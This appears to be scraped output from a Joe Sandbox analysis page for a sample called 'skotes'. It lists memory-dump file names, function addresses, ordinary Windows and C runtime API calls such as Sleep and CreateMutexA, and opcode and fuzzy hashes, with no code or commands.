Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a24136f4600db6485e4dc2bdef6b8db344eff5bbb265a3ca65274d7dd1958249
Instruction ID: 05a451902043a0f8cc3364a13571d625b0956fe77f32259a358591faac96bb4a
Opcode Fuzzy Hash: a24136f4600db6485e4dc2bdef6b8db344eff5bbb265a3ca65274d7dd1958249
Instruction Fuzzy Hash: 80213370749200EAEB2967689C9EB7EB3529FD3700F240A16E144962D2CB7E9981C393

Function 007AA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3313de21fb799bb0413115b995fc2bcbad63379e00fb41ccf7e8f4391ff2237b
Instruction ID: ec99c56b8fa5fbf1a4d36c749b99b5d877a18f5093828f54ff77a7279ac44bfe
Opcode Fuzzy Hash: 3313de21fb799bb0413115b995fc2bcbad63379e00fb41ccf7e8f4391ff2237b
Instruction Fuzzy Hash: 4E216771704200ABEB189B68EC8D7ADB766EBD2311F204329E404DB2D5D77EA980C752

Non-executed Functions

Function 007DCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007DCC66

Strings

v}, xrefs: 007DCBE1

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v}
API String ID: 3213747228-3017820013
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 37180f2949dc37939cec606bb69100546894de936bf7c3b2f27a38c5a3d0e866
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 13B13672A052869FDB16CF68C8817AEBBF5EF45350F1441ABE949EB342D63C9D01CB60

Function 007A2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A2F5F
__Mtx_unlock.LIBCPMT ref: 007A2FCC
__Cnd_broadcast.LIBCPMT ref: 007A2FE3
__Mtx_unlock.LIBCPMT ref: 007A30F5
__Mtx_unlock.LIBCPMT ref: 007A319B

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5ea8fc78b1eaa0ec0d221fe4c4ae66daa2999bcc30dd1faa04556e8dd207da48
Instruction ID: 698cb24d109626f6be01a4314ed8108178f2b544b719745ea5ae7deeeca268f5
Opcode Fuzzy Hash: 5ea8fc78b1eaa0ec0d221fe4c4ae66daa2999bcc30dd1faa04556e8dd207da48
Instruction Fuzzy Hash: 16A1D1B0A01605DFEB21DF64C949B9AB7E9FF56314F048229F815D7241EB39EA04CB91

Function 007BBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007BBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBBE4
_xtime_get.LIBCPMT ref: 007BBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBC13

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 41393a740baf18c5b7f79d80e5a879a6099d27538e2712b0f112d3cb9fbcee95
Instruction ID: 53f51b03a251172b42ef9df421c510e2fc7fc8c6899231c4211cb82d657e5bab
